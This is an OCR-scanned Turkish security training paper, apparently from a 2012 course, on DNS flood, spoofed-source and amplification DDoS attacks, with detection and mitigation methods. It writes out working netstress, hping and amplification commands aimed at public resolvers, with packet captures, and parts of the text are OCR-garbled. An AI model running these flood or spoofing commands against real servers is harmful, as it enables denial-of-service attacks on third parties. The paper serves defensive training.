gibi script dilleriyle yazildig1 ve paket gonderme kapasitelerinin max 10.000-15.000
civarlarinda oldugu gortlecektir.

Bu araglar kullanilarak ciddi DNS DDoS testleri gergeklestirilemez.

DNS Flood DDoS Saldirilar

DNS Flood ve UDP Flood DDoS Saldirilar: Arasindaki Farklar

UDP flood saldirilarinda temel amaglardan biri UDP servisini koruyan Giivenlik Duvari’nin
oturum tablosunun dolmasi ve cevap veremez hale gelmesidir.

Bos UDP /53 paketi ile DNS paketi arasindaki farklar
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DNS Flood saldirilarinda sik yapilan hatalardan biri UDP 53 portuna gonderilen her paketin
DNS oldugunu diistinmektir. Bu sekilde gerceklestirilecek DDoS denemeleri hedef sistem
ontindeki IPS ve benzeri sistemler tarafindan protokol anormalligine takilarak hedefe
ulasamayacaktir.

UDP port 53" e gonderilen bos /dolu(dns olmayan i¢erik) ve DNS istekleri farklidir. Hping
gibi araglar kullanilarak gerceklestirilen udp port 53 flood saldirilar1 DNS flood saldirisi
olarak adlandirilamaz.

UDP Flood belirlenen hedefe bos UDP (ya da rastgele doldurularak) paketleri hedefe
gondermektir.

DNS flood ise DNS servisine yonelik rastgele DNS istekleri (DNS istekleri UDP )gonderilerek
gerceklestirilir.

UDP Port 53 Paketi(Bos UDP Paketi)

71 test.pcap - Wireshark

File Edit View Go Capture Analyze Statistics Telephony Tools Help

SWoee DEXEL A+ TFL|EEIQAQAQAD| @My

Filter: | ¥  Expression... Clear Apply
No. | Time | source | Destination |Protocol |Internet Protocol | Info
1 0.000000 178.18.197.18 8.8.8.8 DNS Yes [Malformed Packet

il

B Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bits)

® Ethernet II, Src: Vmware_9c:56:25 (00:50:56:9c:56:25), Dst: JuniperN_ac:36:c0 (50:c5:8d:ac:36:c
# Internet Protocol, Src: 178.18.197.18 (178.18.197.18), Dst: 8.8.8.8 (8.8.8.8)
[ User Datagram Protocol, Src Port: slush (1966), |Dst Port: domain (53) |
Source port: slush (1966)
Destination port: domain (53)
Length: 8
# Checksum: 0x70c6 [validation disabled]

=
= IExpert I!!o !Error!Mal!ormed): Malformed Packet (Exception occurred)]

[Message: mMalformed Packet (Exception occurred)]
[severity level: Error]
[Group: malformed]
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Gergek DNS Paketi Ornegi

Jo. |T|me |Source |Destinaﬁon IPromcol |InhemetPromcoI IInfo
9 6.980780 178.18.197.18 8.8.8.8 DNS Yes Standard query A www.bga.com.tr

[ Frame 9: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
# Ethernet II, Src: Vmware_9c:56:25 (00:50:56:9c:56:25), Dst: JuniperN_ac:36:c0 (50:c5:8d:ac:36:c0)
# Internet Protocol, Src: 178.18.197.18 (178.18.197.18), Dst: 8.8.8.8 (8.8.8.8)

£ User Datagram Protocol, Src Port: 34766 (34766),[Dst port: domain (53)
Source port: 34766 (34766)
Destination port: domain (53)
Length: 40
# Checksum: 0x876e [validation disabled]
[-/|Domain Name System (query)
Response In: 10
Transaction ID: Oxdé6f2
# Flags: 0x0100 (Standard query)
Questions: 1
Answer RRs: 0
Authority RRs: O
Additional RRs: 0
= Queries
= www.bga.com.tr: type A, class IN
Name: www.bga. com.tr
Type: A (Host address)
Class: IN (0x0001)

Ancak DNS sorgularini ikili olarak kaydedip bunlar1 Hping kullanarak hedefe dns sorgusu
gibi gonderme islemi yapilabilir.

Asagida adim adim Hping kullanarak nasil DNS flood denemeleri gergeklestirilecegi
anlatilmistir. Test edilen her alan ad1 icin bu sekilde dns sorgusu ikili dosya olarak
kaydedilmeli ve hping’e parametre olarak verilmelidir.

http://blog.lifeoverip.net/2011/07 /25 /hping-kullanarak-dns-flood-dosddos-saldirilari-
gerceklestirme/

Netstress Kullanarak DNS Flood DDoS Atagi Gergeklestirme

Netstress, saniyede ortalama 400.000 DNS istegi gonderebilmektedir. Bandwith ve test icin
kullanilan makine giiciine bagh olarak saniyede 3.000.000 -teorik olarak- DNS istegine
kadar ¢ikabilmektedir.

[root@seclabs netstress-2.2.4]./netstress_fullrandom -d 8.8.8.8-adns-ta -n4-P 53

—————————— netstress stats ----------

PPS: 122374
BPS: 23495936
MPS: 2241
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Total seconds active: 3
Total packets sent: 367124
PPS: 110916

BPS: 21295936

---------- netstress stats ----------

PPS: 126696
BPS: 24325632
MPS: 23.20

Total seconds active: 3
Total packets sent: 380088
MPS: 20.31

Total seconds active: 3
Total packets sent: 332749

---------- netstress stats ----------

PPS: 116075
BPS: 22286528
MPS: 21.25

Total seconds active: 3
Total packets sent: 348227

Saldirilarda Sahte(spoofed) IP Adreslerinin Kullanimi

DNS flood DoS/DDoS saldirilar1 genellikle sahte ip adresleri kullanilarak gerceklestirilir.

Sahte IP adresi kullanimi da temelde iki sekilde olmaktadir.

1- Rastgele secilmis ip adresleri
2-Bilinen DNS sunucularin IP adreslerinin kaynak olarak kullanima.

Netstress her iki yontemi de gerceklestirebilmektedir.
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NetStress Configuration ---
Select
Random Source Port

Random Destination Port
Request Random URLs In GET Flood

Load an Alternate Configuration File
Save an Alternate Configuration File

Rastgele IP Adreslerinden DNS Flood DDoS Denemesi

[P 79.137.73.96.timbuktu-srv3 > 8.8.8.8.domain: 46615+ A? mk2082987667.net. (34)
IP 111.92.61.23.ms-sql-m > 8.8.8.8.domain: 53015+ A? mk904269199.net. (33)

IP 172.143.231.2.nucleus > 8.8.8.8.domain: 31255+ A? mk1623054336.net. (34)

[P 183.146.232.84.0s-licman > 8.8.8.8.domain: 51223+ A? mk1557036557.net. (34)
IP 126.151.69.29.elan > 8.8.8.8.domain: 37143+ A? mk650936905.net. (33)

IP 242.130.243.90.af > 8.8.8.8.domain: 46615+ A? mk191742245.net. (33)

IP 104.22.108.9.eicon-x25 > 8.8.8.8.domain: 34839+ A? mk116675712.net. (33)

[P 152.236.4.72.sbook > 8.8.8.8.domain: 43799+ A? mk1620707131.net. (34)

[P 181.154.241.105.nms > 8.8.8.8.domain: 46103+ A? mk958054365.net. (33)

[P 70.247.18.90.nrcabg-lm > 8.8.8.8.domain: 55319+ A? mk588765509.net. (33)

[P 78.237.69.35.localinfosrvr > 8.8.8.8.domain: 43543+ A? mk893603990.net. (33)

IP 65.29.179.63.dca > 8.8.8.8.domain: 32023+ A? mk1585426588.net. (34)

[P 229.58.66.14.iclpv-sc > 8.8.8.8.domain: 41751+ A? mk1300398297.net. (34)

IP 147.228.32.81.prm-nm-np > 8.8.8.8.domain: 35095+ A? mk2137711157.net. (34)
IP 80.77.213.23.genie-lm > 8.8.8.8.domain: 39191+ A? mk605526808.net. (33)

[P 56.211.51.117.goldleaf-licman > 8.8.8.8.domain: 29719+ A? mk770182864.net. (33)
IP 217.205.176.45.proxima-Im > 8.8.8.8.domain: 33559+ A? mk1699691839.net. (34)
[P 137.133.60.40.netware-csp > 8.8.8.8.domain: 45079+ A? mk558564538.net. (33)

IP 142.165.219.3.0c-Im > 8.8.8.8.domain: 44567+ A? mk1600988605.net. (34)

[P 207.83.168.58.informatik-Im > 8.8.8.8.domain: 40727+ A? mk1082503180.net. (34)
IP 232.42.197.57 blueberry-lm > 8.8.8.8.domain: 29719+ A? mk1479252390.net. (34)
IP 245.252.232.82 kjtsiteserver > 8.8.8.8.domain: 50199+ A? mk2105094468.net. (34)
IP 122.181.116.57.sbook > 8.8.8.8.domain: 47127+ A? mk260490390.net. (33)
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Bilinen DNS Sunucu IP Adreslerinden DNS Flood Gerg¢eklestirme

Ayni sekilde subnet kullanimi da gergeklestirilebilir. Tiim atak bir subnet ya da bir ip aralig
ya da bir tilke ip adresinden geliyormus gibi gosterilebilir. Bu tip saldirilarda hedef DNS
sunucunun 6niinde gonderilen paket sayisina gore rate limiting/karantina uygulayan IPS,
DDoS Engelleme sistemi varsa paket gonderilen sahte ip adresleri bu cihazlar tarafindan
engellenecektir. Bu da saldirgana internet tizerinde istedigi ip adreslerini engelletme luksii
vermektedir.

[root@seclabs netstress-2.2.4# . /netstress_patternip_randomport -s 1.2.39. -d 8.8.8.8 -adns
-ta -n4-P53

I[P 1.2.39.85.ibm-pps > 8.8.8.8.domain: 44823+ A? mk1650317290.net. (34)

IP 1.2.39.252.chromagrafx > 8.8.8.8.domain: 55063+ A? mk885119093.net. (33)
IP 1.2.39.234.ms-sql-s > 8.8.8.8.domain: 50711+ A? mk1480111032.net. (34)

[P 1.2.39.251.ndm-server > 8.8.8.8.domain: 47127+ A? mk211899066.net. (33)
[P 1.2.39.25.gv-us > 8.8.8.8.domain: 37143+ A? mk521909797.net. (33)

IP 1.2.39.223.netlabs-Im > 8.8.8.8.domain: 37911+ A? mk581801644.net. (33)

IP 1.2.39.51.dwf > 8.8.8.8.domain: 58391+ A? mk58082171.net. (32)

IP 1.2.39.229.alta-ana-Im > 8.8.8.8.domain: 51223+ A? mk1292956077.net. (34)
IP 1.2.39.27.wmc-log-svc > 8.8.8.8.domain: 37143+ A? mk836758631.net. (33)

IP 1.2.39.246.ms-sql-m > 8.8.8.8.domain: 31767+ A? mk269450214.net. (33)

[P 1.2.39.46.nms_topo_serv > 8.8.8.8.domain: 40471+ A? mk1053310989.net. (34)
[P 1.2.39.58.informatik-lm > 8.8.8.8.domain: 40215+ A? mk1614262787.net. (34)
IP 1.2.39.25.nms > 8.8.8.8.domain: 37399+ A? mk2058427683.net. (34)

[P 1.2.39.154.menandmice-dns > 8.8.8.8.domain: 50967+ A? mk1409302037.net. (34)
IP 1.2.39.193.ndm-server > 8.8.8.8.domain: 39447+ A? mk1607501323.net. (34)
[P 1.2.39.217.innosys > 8.8.8.8.domain: 30999+ A? mk34802544.net. (32)

IP 1.2.39.121.dbsa-Im > 8.8.8.8.domain: 41239+ A? mk460693496.net. (33)

[P 1.2.39.105.cadkey-licman > 8.8.8.8.domain: 54551+ A? mk280556416.net. (33)
[P 1.2.39.28.eicon-slp > 8.8.8.8.domain: 63511+ A? mk1903514959.net. (34)

IP 1.2.39.121.world-Im > 8.8.8.8.domain: 51223+ A? mk62585107.net. (32)

IP 1.2.39.163.nms > 8.8.8.8.domain: 536+ A? mk1231830388.net. (34)

IP 1.2.39.106.eicon-x25 > 8.8.8.8.domain: 58391+ A? mk178733798.net. (33)

IP 1.2.39.223.bbn-mmx > 8.8.8.8.domain: 62487+ A? mk1952301711.net. (34)

[P 1.2.39.195.taligent-Im > 8.8.8.8.domain: 34327+ A? mk851097929.net. (33)

Ozellikle son zamanlarda Tiirk Telekom, Google ve OpenDNS’in ip adresleri kullanilarak
gerceklestirilen DNS flood saldirilarina rastlanmaktadir.

Bu tip gercek DNS sunucularin ip adreslerinden geliyormus gibi gerceklestirilen DNS flood
ataklarini engellemek ¢ok zordur.
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DNS Performans Ol¢iimii

DNS sunucuya gelen isteklere dondiigii paketlerin siiresi dl¢iiliirse DNS sunucunun
performansi ile ilgili bilgi edinilebilir. Performans 6l¢iimii i¢in ¢esitli araglar
bulunmaktadir. En temel arag Linux sistemlerle birlikte gelen dig komutudur. Dig komutu
ile DNS sunucunun cevap vermesinin ne kadar stirdiigii belirlenebilir.

Dig komutu ¢iktisindaki “;; Query time” satir1 DNS'in sorguya déndiigii cevap siiresini
belirler.

[huzeyfe@seclabs ~]$ dig www.bga.com.tr @8.8.8.8

; <<>>DiG 9.3.6-P1-RedHat-9.3.6-16.P1.el5 <<>> www.bga.com.tr @8.8.8.8
;; global options: printcmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57086

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.bga.com.tr. IN A

;» ANSWER SECTION:
www.bga.com.tr. 37 IN A 50.22.202.163

;; Query time: 41 msec

;; SERVER: 8.8.8.8#53(8.8.8.8)

;; WHEN: Sat Oct 121:26:56 2011
;; MSG SIZE rcvd: 48

Saldiri altindaki DNS sunucunun cevabi

[huzeyfe@seclabs ~]$ dig www.bga.com.tr @4.2.2.1

; <<>> D <<>>www.bga.com.tr @4.2.2.1
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;; global options: printcmd

;» Got answer:

;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 17532

;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.bga.com.tr. IN A

;; Query time: 326 msec

;; SERVER: 4.2.2.1#53(4.2.2.1)

;; WHEN: Sat Oct 121:27:54 2011
;; MSG SIZE rcvd: 32

Basit bir scriptle anlik olarak DNS sunucunun cevap performansi dlgiilebilir.

while true; do dig . @ns1.tr.net|grep "Query time:";sleep 2;done

;; Query time: 11 msec

;; Query time: 11 msec

;; Query time: 10 msec

;; Query time: 11 msec

;; Query time: 13 msec

;; Query time: 11 msec

;; Query time: 398 msec = Saldir1 altindaki DNS sunucu cevabi
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Amplified DNS DoS Saldirilari

Bu saldiri tipinde gonderilen DNS istegine donecek cevabin kat kat fazla olmasi 6zelligini
kullanir. Sisteme gonderilecek 50 byte’lik bir DNS istegine 500 Byte~cevap dondiigi
diistiniiliirse saldirgan elindeki bant genisliginin 10 kat1 kadar saldir trafigi olusturabilir.

Test.bga.com.tr DNS Sunucusu
Amplifier DNS (Genele agik

Test.bga.com.tr hizmet veren herhangi bir
DNS cevabi 500 DNS)
Byte @ Kurban

yvy

A 300Mbps
f ’ Trafik

Test.bga.com.tr / / Kapasitesi
DNS istegi 50 //

Byte /

Vs
277 @ \
e i o // 7~
A TR
— -— y
\ Test Kullanicisi

Saldirgan Kaynak IP adresi:Kurban
50 Mbps Trafik

Adim Adim DNS Amplification DoS Saldirisi

1.Adim Saldirgan rekursif sorguya acik DNS sunucu bulur ve daha 6nce hazirladig: 6zel alan

adini sorgulatir (Gergek hayatta 6zel bir alan adi degil “.” sorgulanir.). Bu istegin boyutu 50
Byte tutmaktadir.

2.Ara DNS sunucu kendi 6n belleginde olmayan bu istegi gidip ana DNS sunucuya sorar (50
Byte)
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3.Adim: Ana DNS sunucu test.bga.com.tr i¢in gerekli cevabi1 doner (500~byte)

4. Adim: Ara DNS sunucu cevabo 6n bellegine alarak bir kopyasini Saldirgana doner.
Burada amag¢ ARA DNS sunucunun dénen 500 Byte’lik cevab1 6n bellege almasini
saglamaktir.

5.Adim: Test kullanicisi (saldirganin kontroliinde) test.bga.com.tr alan adin1 sorgular ve
cevabin cachede olup olmadigini anlamaya ¢alisir.

6.Adim: Ara DNS sunucu 6n belleginden 500 byte cevap doner

7.Adim:Saldirgan Kurban’in IP adresinden geliyormus gibi sahte DNS paketleri gonderir.
DNS paketleri test.bga.com.tr’i sorgulamaktadir (ortalama 100.000 dns q/s). Bu uiretilen
paketlerin Saldirgana maliyeti 100.000 X53 Byte

8.Adim: Ara DNS sunucu gelen her paket icin 500 Byte’lik cevabi1 Kurban sistemlere
dénmeye calisacaktir. Boylece Ara DNS sunucu 100.000X500 Byte trafik tireterek
saldirganin kendi trafiginin 10 kat1 kadar ¢ogaltarak Kurban’a saldiriyor goziikecektir.

$ dig. @ns1.tr.net

; <<>> DiG 9.7.0-P1 <<>> . @ns1.tr.net

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27323

;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 13, ADDITIONAL: 14
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;. IN A
;; AUTHORITY SECTION:

512544 IN NS kroot-servers.net.
512544 IN NS Lroot-servers.net.

512544 IN NS m.root-servers.net.
512544 IN NS a.root-servers.net.
512544 IN NS b.root-servers.net.
512544 IN NS c.root-servers.net.
512544 IN NS d.root-servers.net.
512544 IN NS e.root-servers.net.
512544 IN NS froot-servers.net.

512544 IN NS groot-servers.net.
512544 IN NS h.root-servers.net.
512544 IN NS i.root-servers.net.
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512544 IN NS

;; ADDITIONAL SECTION:

a.root-servers.net.
a.root-servers.net.
b.root-servers.net.
c.root-servers.net.
d.root-servers.net.
d.root-servers.net.
e.root-servers.net.

f.root-servers.net.
f.root-servers.net.

g.root-servers.net.
h.root-servers.net.
h.root-servers.net.

i.root-servers.net.
l.root-servers.net.

598944 IN
598944 IN
598944 IN
598944 IN
598944 IN
598944 IN
598944 IN
598944 IN
598944 IN
598944 IN
598944 IN
598944 IN
598944 IN
598944 IN

;; Query time: 14 msec
;; SERVER: 195.155.1.3#53(195.155.1.3)
;; WHEN: Mon Jan 23 13:52:52 2012

;; MSG SIZE rcvd: 512

j-root-servers.net.

A 19841.04

AAAA 2001:503:ba3e::2:30
A 192.228.79.201

A 192.33.4.12

A 128.8.10.90

AAAA 2001:500:2d::d

A 192.203.230.10

A 192.5.5.241

AAAA 2001:500:2f:f

A 192.112.36.4

A 128.63.2.53

AAAA 2001:500:1::803f:235
A 192.36.148.17

AAAA 2001:7fe::53

Ornek DNS Amplified DoS Saldirisi

DoS yapilacak Hedef Sistem: kurban.example.com (V)
Araci olarak kullanilacak DNS sunucu dns-sunucu.example.com (A)

Saldirgan (C)

./amfdns -a dns-sunucu.example.com -t A -q . -target kurban.example.com

DNS Flood DDoS Saldirilarini Yakalama

http://www.adotout.com/dnsflood.html yazilimi kullanilabilir.

root@bt:~/dns_flood_detector# dns_flood_detector -i eth0Q -t 100 -v -b
[22:16:17] source [85.95.238.172] - 0 qps tcp : 419 qps udp
[22:16:27] source [85.95.238.172] - 0 qps tcp : 139 gps udp
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DNS Flood DDoS Saldirilarini1 Engelleme

DNS Flood saldirilarini engellemek i¢in kullanilan temel yontemler:

e DNS Caching
e Dnsanycast
e Rate limiting
e DFAS

Rate Limiting Yontemi

Rate limiting yontemi ile belirli ip adreslerinden yapilacak UDP/DNS flood saldirilarinda
kaynak ip adresi engellemesi amaglanir. Ama UDP tabanli protokollerde kaynak ip
adresinin gercek olup o Imadigini anlamak ¢ok zor oldugu icin genellikle ise yaramaz bir
yontemdir.

Bu yontemi kullanan bir hedefe dogru saldirgan istedigi ip adresinden geliyormus gibi
paketler gondererek istedigi ip adresinin engellenmesini saglayabilir (Tiirkiye ip
bloklarindan paket gondermek gibi)

DFAS

TCP tizerinden gercgeklestirilecek olan DDoS saldirilarini engellemek goreceli olarak daha
kolaydir diyebiliriz. Bunun temel nedeni TCP iizerinden yapilacak saldirilarda saldirganin
gercek ip adresle mi yoksa sahte adresle mi saldirip saldirmadiginin anlasabiliyor
olmasidir(basit mantik 3’ 1 el sikismay1 tamamliyorsa ip gercektir).

UDP tizerinden gerceklestirilecek DDoS saldirilarini (udp flood, dns flood vs)engellemek
saldir1 gercgeklestiren ip adreslerinin ger¢ek olup olmadigini anlamanin kesin bir yolu
olmadigi icin zordur. UDP kullanarak gerceklestirilen saldirilarda genellikle davranigsal
engelleme yontemleri ve ilk paketi engelle ikinci paketi kabul et(dfas) gibi bir yontem
kullanilir.

DFAS Yonteminin Temeli

TCP ya da UDP ilk gelen paket i¢in cevap verme ayni paket tekrar gelirse pakete uygun
cevap ver ve ilgili ip adresine ait oturumu tutmaya basla veya ilk pakete hatali cevap
don(sira numarasi yanlis SYN-ACK) ve karsi taraftan RST gelmesini bekle.

35 Bilgi Giivenligi AKADEMISi @2012 | www.bga.com.tr




DNS Hizmetine Yonelik Dos/DDoS Saldirilar: BGA
(DNS Flood DDoS Saldirilar)

Ardindan istemcinin génderdigi TCP istegine DDoS engelleme sistemi tarafindan hatali bir
cevap donitilerek karsi taraftan RST paketi bekleniyor ve RST paketi alindiktan sonra ip
adresinin gercek oldugu belirlenerek paketlere izin veriliyor.

[root@netdos1 ~]# tcpdump -i emO -tn host 5.6.7.8

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on em0, link-type EN10MB (Ethernet), capture size 96 bytes

[P 1.2.3.4.19399 > 5.6.7.8.53: 8818+ A? www.example.com (37)

IP 5.6.7.8.53 > 1.2.3.4.19399: 8818*| 0/0/0 (37)

IP 1.2.3.4.34096 > 5.6.7.8.53: Flags [S], seq 3183103590, win 65535, options [mss 1460,nop,wscale
3,5ackOK,TS val 4045396826 ecr 0],length 0

[P 5.6.7.8.53 > 1.2.3.4.34096: Flags [S.], seq 4110155774, ack 3060256364, win 65535, options
[mss 1460,nop,wscale 3,sackOK,TS val4045396826 ecr 0], length 0

IP 1.2.3.4.34096 > 5.6.7.8.53: Flags [R], seq 3060256364, win 0, length 0

IP 1.2.3.4.34096 > 5.6.7.8.53: Flags [S], seq 3183103590, win 65535, options [mss 1460,nop,wscale
3,5ackOK,TS val 4045399827 ecr 0],length 0

IP 5.6.7.8.53 > 1.2.3.4.34096: Flags [R.], seq 184811522, ack 122847228, win 0, length 0

DFAS yontemi gelen giden tiim paketler i¢cin degil saldir1 aninda ilk paketler i¢in
gerceklestirilir.

Saldir1 Aninda Sistemin DNS isteklerine Déndiigii Cevap:

IP 1.2.3.4.51798 > 5.6.7.8.53: 53698+ A? www.example.com. (37)
IP 5.6.7.8.53 > 1.2.3.4.51798: 53698 ServFail- 0/0/0 (37)

IP 1.2.3.4.34623 > 5.6.7.8.53: 61218+ A? www.example.com (37)
IP 5.6.7.8.53 >1.2.3.4.34623: 61218*- 1/0/0 A 1.21.2.72 (53)

Ornek:
Bir miiddet asagidaki gibi udp flood (dns portundan) gerceklestirdikten sonra
hping --flood -p 53 --udp hedef_dns

root@bt:~# tcpdump -i ethO -tn udp port 53 -v

tcpdump: listening on ethO, link-type EN10MB (Ethernet), capture size 65535 bytes

IP (tos 0x0, ttl 64, id 5558, offset 0, flags [none], proto UDP (17), length 65)
85.95.238.172.51518 > 1.2.227.77.53: 37837+ A? www.example.com. (37)

IP (tos 0x0, ttl 119, id 5558, offset 0, flags [none], proto UDP (17), length 65)
1.2.227.77.53 > 85.95.238.172.51518: 37837*| 0/0/0 (37)

IP (tos 0x0, ttl 64, id 5559, offset 0, flags [none], proto UDP (17), length 65)
85.95.238.172.44470 > 1.2.227.77.53: 29161+ A? www.example.com. (37)
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IP (tos 0x0, ttl 119, id 5559, offset 0, flags [none], proto UDP (17), length 65)
1.2.227.77.53 > 85.95.238.172.44470: 29161*| 0/0/0 (37)

Asagidaki gibi sorgulamalar TCP DNS'e yonlenmektedir.

root@bt:~# dig www.example.com @1.2.227.77
;; Truncated, retrying in TCP mode.

; <<>>DiG 9.7.0-P1 <<>> www.example.com @1.2.227.77
;; global options: +cmd
;» connection timed out; no servers could be reached

DNS Caching Cihazlarini Atlatma Saldirilari

Caching cihazlar1 ayni tipte gelen sorgulamalar i¢in caching islemi yapabilmektedir ve
yogun saldirilarda DNS sunucularin en az seviyede etkilenmesini saglamaktadir.

LOAD
BALANCER

DNS flood saldirilarinda génderilen tiim DNS isteklerindeki alan adlarini rastgele secilirse
caching cihazlari gelen tiim istekleri gercek DNS sunuculara yonlendirecektir.
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DNS Hizmetine Yonelik Dos/DDoS Saldirilar: BGA
(DNS Flood DDoS Saldirilar)

Eger test yapilan DNS sunucu authoritive (yetkili) tipte sunucu ise rastgele domainler i¢in
yapilacak sorgulamalara cevap doniilmeyecektir. Bu tip sunuculara karsi hedef DNS
sunucuda tutulan herhangi bir alan adinin alt alan adlarina(rastgele iiretilmis) yonelik paketlerin
gonderilmesi DNS sunucunun performansini etkileyecektir.

Kaynaklar:

[1] http://en.wikipedia.org/wiki/Root _hame_server

[2] URPF

http://en.wikipedia.org/wiki/Anycast
http://blog.easydns.org/2010/08/19/dos-attacks-and-dns-how-to-stay-up-if-your-dns-provider-

goes-down/
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